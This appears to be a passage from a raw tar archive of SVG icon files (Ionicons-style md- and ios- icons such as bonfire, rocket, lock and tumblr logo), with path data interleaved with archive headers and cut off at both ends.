24.7.3-3.7.8-14.3-2.5-21.6-4-9-9.3-18.7-9.3-18.7s8.6-2.7 11.6-10 2-17.3-8.7-27.7-52.5-37.6-55.9-42.1c-4.9-6.5-6.7-10.2-7-23.2s5.4-24.8 4.3-20.3c-.8 3.2.1 6.8.1 19.8s7.6 23.3 13.9 25c9.5 2.6 2-26.1 8-53.1s11.7-32.8 19.2-43.8 19.2-20.5 17-43.1-.1-20.1 5.1-11.8c4 6.5 13.3 24 24.7 22 19.4-3.3 43.9-24.6 47.6-28.2 3.7-3.6.7-7.1-2.3-5.8-15.5 6.7-44.3 21.5-51.5 18.2s-18.1-20.6-16.8-19.5c15.4 13.6 19.9 11.1 26.4 9 8.4-2.8 12.8-4.3 28.5-11.3s20.7-5.3 22.3-8.7-.4-6.7-4.7-5.7c-6.4 1.5-3.4 5.1-22.7 12.3-25.3 9.5-33.3 10.3-44 3-8.6-5.9-15-12.7-15-16.7s8.3-8.3 12.3-11.3 12.3-10.9 12.3-10.9 1-7.2-.6-12.7c-1.9-6.5-7.8-9.3-11.9-8.1-4.1 1.1-8 5.5-6.8 14.8 1 8.3 7 11 7 11s-2.7 3.5-5.2 4.7c0 0-.8-.3-3.5-6.3s-6.6-19.5-.3-31.1 19.6-5.2 23.8 3.8c3.9 8.3 2.4 22.7 2.4 22.7 6-2.2 13-2 21 3.5-7.1-29.8 9.5-41.1 22-41.1s22.3 9.6 22.3 25c0 12-3.5 18.2-6.9 22-4.1-.5-8.2-1.5-6.3-3.4 1.3-1.4 4.4-5.7 4.4-13.2s-5.9-13.7-13.7-13.7c-9.2 0-12.6 8.3-13.7 13s-.4 8.6-.2 10.4c.6 5 10.9 9.6 23.9 12.9s11.3 9 8.3 25.3 6.3 18.3 14.3 33.8 5.7 21.8 15.9 35.2 19 47.8 16.4 76.8c-.9 10.5-3.9 10.2 7.3 6.7 5.6-1.7 12-2.7 12-2.7 3.1-6.3 3.4-16.3 3.5-22.3.2-13.5.7-41.5-26.7-71.5 0 0 29.5 21.7 34 62 2.5 22.3-2 32.4-2 32.4 5.3 1.3 9.8 7.3 12.6 11.8 3.7 6.1-3.9-5.8-20-5.8-8.5 0-15.3 3.9-18.5 7.9s-3.1 7.6-3.2 11.7c-7.1-1.2-12.4 0-16.8 4.9-5.6 7-2.8 24.2-.8 34.6zm90.1 47.2c-24.1 10.4-32.7 23.5-47.7 31.5s-27.7 2.3-33.7-8 10.4-28.2 4.7-59.6c-4.4-24.2-6.3-31-4.9-36.8 1.4-5.5 9.4-4.4 11.5-3.9 1.3 5.4 6.7 19.5 27 19.5 0 0 23.2 2.6 32.7-21.2 0 0 5.7-.2 7.2 3.5 2.3 5.8-2.9 16.5-2.8 21.3.3 15.7 11.7 21.1 28.4 32 8.2 5.6 2.1 11.1-22.4 21.7z"/></svg>collection/icon/svg/md-bonfire.svg000064400000002343151701353760013203 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M272.2 350.6c-.8-8.2-8.2-14.6-17.3-14.6-8.3 0-15.2 5.4-16.9 12.5L221.1 441c-.5 2.3-.8 4.6-.8 7 0 17.7 15.5 32 34.7 32s34.7-14.3 34.7-32c0-2.9-.4-5.7-1.2-8.4l-16.3-89zM310.1 355zM404.3 390.3c-1.9-1.4-3.6-2.9-5.6-3.9l-68.9-47.5c-6.3-3.8-13-3.7-17.9.9-4.5 4.1-5.1 10.4-1.8 15.4l53 65.8c1 1.5 2.3 2.8 3.6 4.2 8.5 9.1 27.2 9.6 37.5 0 10.4-9.8 10.3-27.2.1-34.9zM382.2 335zM450.4 322.5l-64.5-2.3c-4.2-.6-8 2.1-8.7 6-.7 3.6 1.5 7.1 5.1 8.8h.1l62.5 17.8c9 1.9 19.1-2.3 19.1-11.6 0-11.9-3.3-17.5-13.6-18.7zM129.5 335zM129.5 335c3.6-1.6 5.7-5.2 5.1-8.8-.7-4-4.5-6.6-8.7-6l-64.5 2.3C51 323.7 48 329.3 48 341.1c0 9.3 9.9 13.6 18.8 11.6l62.5-17.8c.1.1.1.1.2.1zM182.2 338.8l-68.9 47.4c-2 1.1-3.9 2.4-5.6 3.9-10.4 9.6-10.4 25.1 0 34.6 10.4 9.6 27.1 9.6 37.5 0 1.4-1.3 2.6-2.7 3.6-4.2l53-65.6c3.3-5 2.7-11.2-1.8-15.3-4.8-4.5-12.6-4.8-17.8-.8zM256 32s30.2 35.4 30.2 64.4c0 27.8-18.2 50.3-45.9 50.3-27.9 0-48.9-22.5-48.9-50.3l.4-6.9c-27.2 32.3-43.5 76.2-43.5 121.8 0 59.6 48.2 107.8 107.8 107.8s107.8-48.2 107.8-107.8C363.8 138.7 328 53.7 256 32zm-3.9 246.7c-24 0-43.4-18.9-43.4-42.3 0-21.8 14.1-37.2 37.9-42 23.8-4.9 48.5-16.3 62.3-34.8 5.3 17.4 7.9 35.7 7.9 54.4 0 35.7-29 64.7-64.7 64.7z"/></svg>collection/icon/svg/md-rocket.svg000064400000001300151701353760013036 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 421.6c-18.1 0-33.2-6.8-42.9-10.9-5.4-2.3-11.3 1.8-10.9 7.6l3.5 51c.2 3.1 3.8 4.7 6.3 2.8l14.5-11c1.8-1.4 4.5-.9 5.7 1l20.5 32.1c1.5 2.4 5.1 2.4 6.6 0l20.5-32.1c1.2-1.9 3.9-2.4 5.7-1l14.5 11c2.5 1.9 6.1.3 6.3-2.8l3.5-51c.4-5.8-5.5-10-10.9-7.6-9.8 4.1-24.8 10.9-42.9 10.9z"/><path d="M397.7 293.1l-48-49.1c0-158-93.2-228-93.2-228s-94.1 70-94.1 228l-48 49.1c-1.8 1.8-2.6 4.5-2.2 7.1L130.6 412c.9 5.7 7.1 8.5 11.8 5.4l67.1-45.4s20.7 20 47.1 20c26.4 0 46.1-20 46.1-20l67.1 45.4c4.6 3.1 10.8.3 11.8-5.4l18.5-111.9c.2-2.6-.6-5.2-2.4-7zM256.5 192c-17 0-30.7-14.3-30.7-32s13.8-32 30.7-32c17 0 30.7 14.3 30.7 32s-13.7 32-30.7 32z"/></svg>collection/icon/svg/md-aperture.svg000064400000001762151701353760013412 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 32C132.288 32 32 132.288 32 256s100.288 224 224 224 224-100.288 224-224S379.712 32 256 32zm135.765 359.765C355.5 428.028 307.285 448 256 448s-99.5-19.972-135.765-56.235C83.972 355.5 64 307.285 64 256s19.972-99.5 56.235-135.765C156.5 83.972 204.715 64 256 64s99.5 19.972 135.765 56.235C428.028 156.5 448 204.715 448 256s-19.972 99.5-56.235 135.765z"/><path d="M200.043 106.067c-40.631 15.171-73.434 46.382-90.717 85.933H256l-55.957-85.933zM412.797 288A160.723 160.723 0 0 0 416 256c0-36.624-12.314-70.367-33.016-97.334L311 288h101.797zM359.973 134.395C332.007 110.461 295.694 96 256 96c-7.966 0-15.794.591-23.448 1.715L310.852 224l49.121-89.605zM99.204 224A160.65 160.65 0 0 0 96 256c0 36.639 12.324 70.394 33.041 97.366L201 224H99.204zM311.959 405.932c40.631-15.171 73.433-46.382 90.715-85.932H256l55.959 85.932zM152.046 377.621C180.009 401.545 216.314 416 256 416c7.969 0 15.799-.592 23.456-1.716L201.164 288l-49.118 89.621z"/></svg>collection/icon/svg/md-man.svg000064400000000606151701353760012332 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 106.6c20.6.1 37.3-16.6 37.3-37.3 0-20.6-16.7-37.3-37.3-37.3-20.6 0-37.3 16.7-37.3 37.3 0 20.6 16.7 37.3 37.3 37.3zM293.4 115h-74.8c-28.2 0-46.6 24.8-46.6 48.4V277c0 22 31 22 31 0V172h6v285.6c0 30.4 42 29.4 43 0V293h8v164.7c1.7 31.2 43 28.2 43-.1V172h5v105c0 22 32 22 32 0V163.4c0-23.5-18.5-48.4-46.6-48.4z"/></svg>collection/icon/svg/md-barcode.svg000064400000000376151701353760013162 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M88 128h48v256H88zM232 128h48v256h-48zM160 144h48v224h-48zM304 144h48v224h-48zM376 128h48v256h-48z"/><path d="M104 104V56H16v400h88v-48H64V104zM408 56v48h40v304h-40v48h88V56z"/></svg>collection/icon/svg/ios-fitness.svg000064400000001000151701353760013411 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M352 280H160c-4.4 0-8-3.6-8-8v-32c0-4.4 3.6-8 8-8h192c4.4 0 8 3.6 8 8v32c0 4.4-3.6 8-8 8zM378 362V150c0-12.1 9.9-22 22-22s22 9.9 22 22v212c0 12.1-9.9 22-22 22s-22-9.9-22-22zM460 192h-12c-4.4 0-8 3.6-8 8v112c0 4.4 3.6 8 8 8h12c11 0 20-9 20-20v-88c0-11-9-20-20-20zM134 362V150c0-12.1-9.9-22-22-22s-22 9.9-22 22v212c0 12.1 9.9 22 22 22s22-9.9 22-22zM64 192H52c-11 0-20 9-20 20v88c0 11 9 20 20 20h12c4.4 0 8-3.6 8-8V200c0-4.4-3.6-8-8-8z"/></svg>collection/icon/svg/md-undo.svg000064400000000375151701353760012527 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M262.3 179.6c-57.9 0-110.3 21.6-150.7 56.8L32 160v192h197.5l-79.1-76.8c30.4-25.3 69-41.1 111.8-41.1 77.3 0 143.1 48.2 166 117.8l51.8-14.8c-30.4-91.4-116.2-157.5-217.7-157.5z"/></svg>collection/icon/svg/md-tv.svg000064400000000364151701353760012211 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M439.3 76H72.7C50.3 76 32 94 32 116v240c0 22 18.3 40 40.7 40h101.8v40h162.9v-40h101.8c22.4 0 40.5-18 40.5-40l.2-240c.1-22-18.2-40-40.6-40zm0 280H72.7V116h366.5v240z"/></svg>collection/icon/svg/ios-sunny.svg000064400000002574151701353760013133 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 387c-8.5 0-15.4 6.9-15.4 15.4v46.2c0 8.5 6.9 15.4 15.4 15.4s15.4-6.9 15.4-15.4v-46.2c0-8.5-6.9-15.4-15.4-15.4zM256 48c-8.5 0-15.4 6.9-15.4 15.4v46.2c0 8.5 6.9 15.4 15.4 15.4s15.4-6.9 15.4-15.4V63.4c0-8.5-6.9-15.4-15.4-15.4zM125 256c0-8.5-6.9-15.4-15.4-15.4H63.4c-8.5 0-15.4 6.9-15.4 15.4s6.9 15.4 15.4 15.4h46.2c8.5 0 15.4-6.9 15.4-15.4zM448.6 240.6h-46.2c-8.5 0-15.4 6.9-15.4 15.4s6.9 15.4 15.4 15.4h46.2c8.5 0 15.4-6.9 15.4-15.4s-6.9-15.4-15.4-15.4zM152.5 344.1c-4.1 0-8 1.6-10.9 4.5l-32.7 32.7c-2.9 2.9-4.5 6.8-4.5 10.9s1.6 8 4.5 10.9c2.9 2.9 6.8 4.5 10.9 4.5 4.1 0 8-1.6 10.9-4.5l32.7-32.7c6-6 6-15.8 0-21.8-2.9-2.9-6.8-4.5-10.9-4.5zM359.5 167.9c4.1 0 8-1.6 10.9-4.5l32.7-32.7c2.9-2.9 4.5-6.8 4.5-10.9s-1.6-8-4.5-10.9c-2.9-2.9-6.8-4.5-10.9-4.5-4.1 0-8 1.6-10.9 4.5l-32.7 32.7c-2.9 2.9-4.5 6.8-4.5 10.9s1.6 8 4.5 10.9c2.9 2.9 6.8 4.5 10.9 4.5zM130.7 108.9c-2.9-2.9-6.8-4.5-10.9-4.5-4.1 0-8 1.6-10.9 4.5-2.9 2.9-4.5 6.8-4.5 10.9 0 4.1 1.6 8 4.5 10.9l32.7 32.7c2.9 2.9 6.8 4.5 10.9 4.5 4.1 0 8-1.6 10.9-4.5 2.9-2.9 4.5-6.8 4.5-10.9s-1.6-8-4.5-10.9l-32.7-32.7zM370.4 348.6c-2.9-2.9-6.8-4.5-10.9-4.5-4.1 0-8 1.6-10.9 4.5-6 6-6 15.8 0 21.8l32.7 32.7c2.9 2.9 6.8 4.5 10.9 4.5 4.1 0 8-1.6 10.9-4.5 2.9-2.9 4.5-6.8 4.5-10.9s-1.6-8-4.5-10.9l-32.7-32.7zM256 160c-52.9 0-96 43.1-96 96s43.1 96 96 96 96-43.1 96-96-43.1-96-96-96z"/></svg>collection/icon/svg/ios-information-circle-outline.svg000064400000000744151701353760017215 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M235.4 172.2c0-11.4 9.3-19.9 20.5-19.9 11.4 0 20.7 8.5 20.7 19.9s-9.3 20-20.7 20c-11.2 0-20.5-8.6-20.5-20zm1.4 35.7H275V352h-38.2V207.9z"/><path d="M256 76c48.1 0 93.3 18.7 127.3 52.7S436 207.9 436 256s-18.7 93.3-52.7 127.3S304.1 436 256 436c-48.1 0-93.3-18.7-127.3-52.7S76 304.1 76 256s18.7-93.3 52.7-127.3S207.9 76 256 76m0-28C141.1 48 48 141.1 48 256s93.1 208 208 208 208-93.1 208-208S370.9 48 256 48z"/></svg>collection/icon/svg/md-bookmark.svg000064400000000245151701353760013363 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M360 64H152c-22.002 0-40 17.998-40 40v344l144-64 144 64V104c0-22.002-17.998-40-40-40z"/></svg>collection/icon/svg/ios-code-working.svg000064400000001371151701353760014341 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M446.1 251.6L332 142.7c-1.2-1.1-2.7-1.7-4.1-1.7s-3 .6-4.1 1.7L310 155.9c-1.2 1.1-1.9 2.7-1.9 4.3 0 1.6.7 3.2 1.9 4.3l95.8 91.5-95.8 91.5c-1.2 1.1-1.9 2.7-1.9 4.3 0 1.6.7 3.2 1.9 4.3l13.8 13.2c1.2 1.1 2.6 1.7 4.1 1.7 1.5 0 3-.6 4.1-1.7l114.2-109c1.2-1.1 1.9-2.7 1.9-4.3-.1-1.7-.8-3.2-2-4.4zM106.3 256l95.8-91.5c1.2-1.1 1.9-2.7 1.9-4.3 0-1.6-.7-3.2-1.9-4.3l-13.8-13.2c-1.2-1.1-2.7-1.7-4.1-1.7s-3 .6-4.1 1.7l-114.2 109c-1.2 1.1-1.9 2.7-1.9 4.3 0 1.6.7 3.2 1.9 4.3l114.2 109c1.2 1.1 2.7 1.7 4.1 1.7 1.5 0 3-.6 4.1-1.7l13.8-13.2c1.2-1.1 1.9-2.7 1.9-4.3 0-1.6-.7-3.2-1.9-4.3L106.3 256z"/><circle cx="256" cy="256" r="22"/><circle cx="192" cy="256" r="22"/><circle cx="320" cy="256" r="22"/></svg>collection/icon/svg/md-ribbon.svg000064400000000767151701353760013042 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 32c-70.7 0-128 57.3-128 128s57.3 128 128 128 128-57.3 128-128S326.7 32 256 32zm0 208c-44.2 0-80-35.8-80-80s35.8-80 80-80 80 35.8 80 80-35.8 80-80 80zM193.7 307.4c-19.1-8.1-36.2-19.6-50.8-34.3-1.4-1.4-2.8-2.8-4.1-4.3L64 400h96l48 80 48-105.8 25.5-56.2c-8.4 1.3-16.9 2-25.5 2-21.6 0-42.5-4.2-62.3-12.6zM373.3 268.9c-1.3 1.4-2.7 2.9-4.1 4.3-14.6 14.6-31.7 26.2-50.7 34.2L294 361.2l-21.9 48.4L304 480l48-80h96l-74.7-131.1z"/></svg>collection/icon/svg/ios-disc.svg000064400000000714151701353760012673 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 165.8c-49.9 0-90.3 40.4-90.3 90.3s40.4 90.2 90.3 90.2 90.3-40.4 90.3-90.2c0-49.9-40.4-90.3-90.3-90.3zm0 130.6c-22.3 0-40.4-18.1-40.4-40.4s18.1-40.4 40.4-40.4 40.4 18.1 40.4 40.4-18.1 40.4-40.4 40.4z"/><path d="M256 48C141.1 48 48 141.1 48 256s93.1 208 208 208 208-93.1 208-208S370.9 48 256 48zm0 322c-63 0-114-51.1-114-114 0-63 51.1-114 114-114s114 51 114 114-51 114-114 114z"/></svg>collection/icon/svg/md-skip-backward.svg000064400000000201151701353760014270 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M170.7 256L448 448V64L170.7 256zM64 64h64v384H64z"/></svg>collection/icon/svg/ios-arrow-round-back.svg000064400000000516151701353760015126 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M216.4 163.7c5.1 5 5.1 13.3.1 18.4L155.8 243h231.3c7.1 0 12.9 5.8 12.9 13s-5.8 13-12.9 13H155.8l60.8 60.9c5 5.1 4.9 13.3-.1 18.4-5.1 5-13.2 5-18.3-.1l-82.4-83c-1.1-1.2-2-2.5-2.7-4.1-.7-1.6-1-3.3-1-5 0-3.4 1.3-6.6 3.7-9.1l82.4-83c4.9-5.2 13.1-5.3 18.2-.3z"/></svg>collection/icon/svg/md-airplane.svg000064400000000342151701353760013347 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M448 336v-40L288 192V79.2c0-17.7-14.8-31.2-32-31.2s-32 13.5-32 31.2V192L64 296v40l160-48v113.6l-48 31.2V464l80-16 80 16v-31.2l-48-31.2V288l160 48z"/></svg>collection/icon/svg/md-list-box.svg000064400000000420151701353760013312 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M408 64H104c-22.091 0-40 17.908-40 40v304c0 22.092 17.909 40 40 40h304c22.092 0 40-17.908 40-40V104c0-22.092-17.908-40-40-40zM304 368H144v-48h160v48zm64-88H144v-48h224v48zm0-88H144v-48h224v48z"/></svg>collection/icon/svg/md-people.svg000064400000001020151701353760013032 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M337.454 232c33.599 0 61.092-27.002 61.092-60 0-32.997-27.493-60-61.092-60s-61.09 27.003-61.09 60c0 32.998 27.491 60 61.09 60zm-162.908 0c33.599 0 61.09-27.002 61.09-60 0-32.997-27.491-60-61.09-60s-61.092 27.003-61.092 60c0 32.998 27.493 60 61.092 60zm0 44C126.688 276 32 298.998 32 346v54h288v-54c0-47.002-97.599-70-145.454-70zm162.908 11.003c-6.105 0-10.325 0-17.454.997 23.426 17.002 32 28 32 58v54h128v-54c0-47.002-94.688-58.997-142.546-58.997z"/></svg>collection/icon/svg/ios-lock.svg000064400000000762151701353760012704 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M376 192h-24v-46.7c0-52.7-42-96.5-94.7-97.3-53.4-.7-97.3 42.8-97.3 96v48h-24c-22 0-40 18-40 40v192c0 22 18 40 40 40h240c22 0 40-18 40-40V232c0-22-18-40-40-40zM270 316.8v68.8c0 7.5-5.8 14-13.3 14.4-8 .4-14.7-6-14.7-14v-69.2c-11.5-5.6-19.1-17.8-17.9-31.7 1.4-15.5 14.1-27.9 29.6-29 18.7-1.3 34.3 13.5 34.3 31.9 0 12.7-7.3 23.6-18 28.8zM324 192H188v-48c0-18.1 7.1-35.1 20-48s29.9-20 48-20 35.1 7.1 48 20 20 29.9 20 48v48z"/></svg>collection/icon/svg/ios-thumbs-down.svg000064400000001645151701353760014224 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M80.7 123.2c-7.5 6.3-16.7 16.1-16.7 31.4 0 13.7 5.7 22.8 10.9 29.1.6 1.2 1.1 2.3 1.6 3.4l.2 1.1c.7 3.5 0 7.1-2 10-3.4 5-5.8 12.3-5.8 25.7 0 11.6 4.8 18.4 9.7 23.2 4.4 4.3 6.1 12.5 4.1 18.3-4.8 13.9-.2 28.4 8.2 37.8 10.5 11.8 20.3 13.2 46.4 11.7 18-1.1 55.5-6.9 80.2-10.8 10.1-1.6 18.9-3 21.6-3.2 12.7-1.3 15.2 0 16.4 4.9.5 2.1-1.9 6.9-4.9 13-4 8.1-9.5 19.2-14.5 35.8-10.1 33.2-9 69.2 2.7 90.2 5.5 9.9 14.8 19.1 26.3 19.1s23.3-2.4 27.9-7.9c3.4-4 2.3-11.6 6.2-26.8 3.1-12.4 7-30.9 12-42 7.5-16.6 39.7-45.1 57-60.4 4.1-3.6 7.6-6.7 10.1-9.1 8.7-8.1 17.6-21.1 25.5-32.7 5.4-7.8 10.4-15.2 13.7-18.5 7.1-7.1 16.6-10.9 22.3-10.9 4.4 0 8-3.6 8-8V88.1c0-4.6-3.7-8.3-8.3-8.3C404 79.8 389 74 373.1 68c-12.2-4.7-24.9-9.5-46.4-12.1-32.4-4-74.2-8.1-112.6-8.1-20.4 0-39.9 2-56.6 3.9-31 3.6-64.2 10.8-75.2 37-4.1 9.7-2.2 17.6.5 23.7.4.8.7 1.7.8 2.6.6 3.3-.6 6.3-2.9 8.2z"/></svg>collection/icon/svg/md-square.svg000064400000000402151701353760013051 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M405.333 64H106.667C83.198 64 64 83.198 64 106.667v298.666C64 428.802 83.198 448 106.667 448h298.666C428.802 448 448 428.802 448 405.333V106.667C448 83.198 428.802 64 405.333 64z"/></svg>collection/icon/svg/md-arrow-round-forward.svg000064400000000517151701353760015501 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M284.9 412.6l138.1-134c6-5.8 9-13.7 9-22.4v-.4c0-8.7-3-16.6-9-22.4l-138.1-134c-12-12.5-31.3-12.5-43.2 0-11.9 12.5-11.9 32.7 0 45.2l83 79.4h-214c-17 0-30.7 14.3-30.7 32 0 18 13.7 32 30.6 32h214l-83 79.4c-11.9 12.5-11.9 32.7 0 45.2 12 12.5 31.3 12.5 43.3 0z"/></svg>collection/icon/svg/ios-return-right.svg000064400000001023151701353760014375 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M441.5 265.4L381.9 206c-2.6-2.6-6.1-4.1-9.9-4.1-3.7 0-7.3 1.4-9.9 4.1-2.6 2.6-4.1 6.1-4.1 9.9s1.5 7.3 4.1 9.9l.1.1 41.1 40.1H142c-13.2 0-25.8-5.2-35.3-14.7-9.5-9.5-14.7-22-14.7-35.3v-48c0-7.7-6.3-14-14-14s-14 6.3-14 14v48c0 20.8 8.1 40.3 22.9 55.1 14.8 14.8 34.3 22.9 55.1 22.9h261.7L364 334.2c-2.6 2.6-4.1 6.1-4.1 9.9 0 3.7 1.4 7.3 4.1 9.9l.1.1c2.7 2.5 6.2 3.9 9.8 3.9 3.9 0 7.3-1.4 9.9-4.1l57.6-57.4c4.2-4.2 6.5-9.8 6.5-15.7.1-5.8-2.2-11.3-6.4-15.4z"/></svg>collection/icon/svg/logo-tumblr.svg000064400000000742151701353760013425 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M321.2 396.3c-11.8 0-22.4-2.8-31.5-8.3-6.9-4.1-11.5-9.6-14-16.4-2.6-6.9-3.6-22.3-3.6-46.4V224h96v-64h-96V48h-61.9c-2.7 21.5-7.5 44.7-14.5 58.6-7 13.9-14 25.8-25.6 35.7-11.6 9.9-25.6 17.9-41.9 23.3V224h48v140.4c0 19 2 33.5 5.9 43.5 4 10 11.1 19.5 21.4 28.4 10.3 8.9 22.8 15.7 37.3 20.5 14.6 4.8 31.4 7.2 50.4 7.2 16.7 0 30.3-1.7 44.7-5.1 14.4-3.4 30.5-9.3 48.2-17.6v-65.6c-20.9 13.7-41.8 20.6-62.9 20.6z"/></svg>collection/icon/svg/md-options.svg000064400000001151151701353760013246 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M32 384h272v32H32zM400 384h80v32h-80zM384 447.5c0 17.949-14.327 32.5-32 32.5-17.673 0-32-14.551-32-32.5v-95c0-17.949 14.327-32.5 32-32.5 17.673 0 32 14.551 32 32.5v95z"/><g><path d="M32 240h80v32H32zM208 240h272v32H208zM192 303.5c0 17.949-14.327 32.5-32 32.5-17.673 0-32-14.551-32-32.5v-95c0-17.949 14.327-32.5 32-32.5 17.673 0 32 14.551 32 32.5v95z"/></g><g><path d="M32 96h272v32H32zM400 96h80v32h-80zM384 159.5c0 17.949-14.327 32.5-32 32.5-17.673 0-32-14.551-32-32.5v-95c0-17.949 14.327-32.5 32-32.5 17.673 0 32 14.551 32 32.5v95z"/></g></svg>collection/icon/svg/ios-arrow-dropup-circle.svg000064400000000535151701353760015652 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 464c114.9 0 208-93.1 208-208S370.9 48 256 48 48 141.1 48 256s93.1 208 208 208zm0-244.5l-81.1 81.9c-7.5 7.5-19.8 7.5-27.3 0s-7.5-19.8 0-27.3l95.7-95.4c7.3-7.3 19.1-7.5 26.6-.6l94.3 94c3.8 3.8 5.7 8.7 5.7 13.7 0 4.9-1.9 9.9-5.6 13.6-7.5 7.5-19.7 7.6-27.3 0l-81-79.9z"/></svg>collection/icon/svg/ios-arrow-dropleft-circle.svg000064400000000541151701353760016155 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 48C141.1 48 48 141.1 48 256s93.1 208 208 208 208-93.1 208-208S370.9 48 256 48zm43.4 289.1c7.5 7.5 7.5 19.8 0 27.3-3.8 3.8-8.7 5.6-13.6 5.6s-9.9-1.9-13.7-5.7l-94-94.3c-6.9-7.6-6.7-19.3.6-26.6l95.4-95.7c7.5-7.5 19.7-7.6 27.3 0 7.5 7.5 7.6 19.7 0 27.3l-81.9 81 79.9 81.1z"/></svg>collection/icon/svg/ios-megaphone.svg000064400000002033151701353760013710 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M90.1 187c0-33.4 17.1-62.8 43.5-78.9 2.8-1.7 1.6-6-1.7-6-38.2 0-68.5 30.4-74.1 69.8-5.6.9-9.9 7.3-9.9 14.9 0 8 4.7 14.3 10.8 14.8 6.7 33.8 33.8 55.4 61.2 64.5 4.3.9 7.1-4.5 3.8-7.5-19.6-17.7-33.6-44.3-33.6-71.6z"/><path d="M450.2 102.8c-1-2.7-2.1-5.2-3.2-7.7-6-13.4-13.4-24.2-21.7-32.2-10.5-9.7-21.4-14.9-34.8-14.9-13.5 0-21.5 5.2-25.8 7.8-43.1 25.9-112.3 46-154 46s-39.4.2-39.4.2c-31.6 14-54.8 46.9-54.8 85 0 34.2 17.8 64.2 44.4 80 12.1 10.1 23.6 8.8 21.1 22.2-2.5 13.4-22.5 97.5-25 115s-2.9 27.5 4 36c7 8.5 49.5 23.8 68 23.8s13.8-8.7 13.8-43.8-9.3-131.7 16.5-131.7c48.3 0 73.5 17.3 111.3 31.7 9 3.4 14.1 4.7 20.1 4.7 6 0 18.7-1.9 34.7-18.2 9.2-9.4 15.7-18.8 21.7-32.2 1.1-2.6 2.2-5.2 3.3-8 8.9-23.2 13.7-51.9 13.7-81.9-.1-29.8-4.9-58.6-13.9-81.8zm-26.6 157c-6.4 15.7-17.6 28.2-26.9 28.2-9.3 0-17.8-12.5-24.2-28.2-7.5-18.3-12.3-45-12.3-74.7 0-29.8 4.8-56.6 12.3-74.9 6.4-15.6 14.9-25 24.1-25 9.3 0 20.3 9.5 26.8 25 7.6 18.3 14.5 45.1 14.5 74.9.1 29.7-6.8 56.4-14.3 74.7z"/></svg>collection/icon/svg/ios-refresh.svg000064400000000721151701353760013405 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M433 288.8c-7.7 0-14.3 5.9-14.9 13.6-6.9 83.1-76.8 147.9-161.8 147.9-89.5 0-162.4-72.4-162.4-161.4 0-87.6 70.6-159.2 158.2-161.4 2.3-.1 4.1 1.7 4.1 4v50.3c0 12.6 13.9 20.2 24.6 13.5L377 128c10-6.3 10-20.8 0-27.1l-96.1-66.4c-10.7-6.7-24.6.9-24.6 13.5v45.7c0 2.2-1.7 4-3.9 4C148 99.8 64 184.6 64 288.9 64 394.5 150.1 480 256.3 480c100.8 0 183.4-76.7 191.6-175.1.8-8.7-6.2-16.1-14.9-16.1z"/></svg>collection/icon/svg/ios-happy.svg000064400000000654151701353760013075 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 48C141.1 48 48 141.1 48 256s93.1 208 208 208 208-93.1 208-208S370.9 48 256 48zm72 152c13.3 0 24 10.7 24 24s-10.7 24-24 24-24-10.7-24-24 10.7-24 24-24zm-144 0c13.3 0 24 10.7 24 24s-10.7 24-24 24-24-10.7-24-24 10.7-24 24-24zm72 169c-44.7 0-82.3-29.9-94.2-70.7-1.5-5.1 2.3-10.3 7.7-10.3h172.9c5.3 0 9.2 5.1 7.7 10.3-11.8 40.8-49.4 70.7-94.1 70.7z"/></svg>collection/icon/svg/ios-flask.svg000064400000001111151701353760013041 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M437.4 354.4L320.7 159.9c-.4-.6-.6-1.3-.6-2.1V80c0-2.2 1.8-4 4-4 6.6 0 12-5.4 12-12v-4c0-6.6-5.4-12-12-12H187.8c-6.6 0-12 5.4-12 12v4c0 6.6 5.4 12 12 12 2.2 0 4 1.8 4 4v77.9c0 .7-.2 1.4-.6 2L75.7 354.4c-8.4 15.8-12.5 31.4-12.1 45.6 1.1 36.5 28.8 64 65.2 64h256.6c36.4 0 62.3-27.6 63.2-64 .2-14.2-2.7-29.7-11.2-45.6zM161.8 288c-6.2 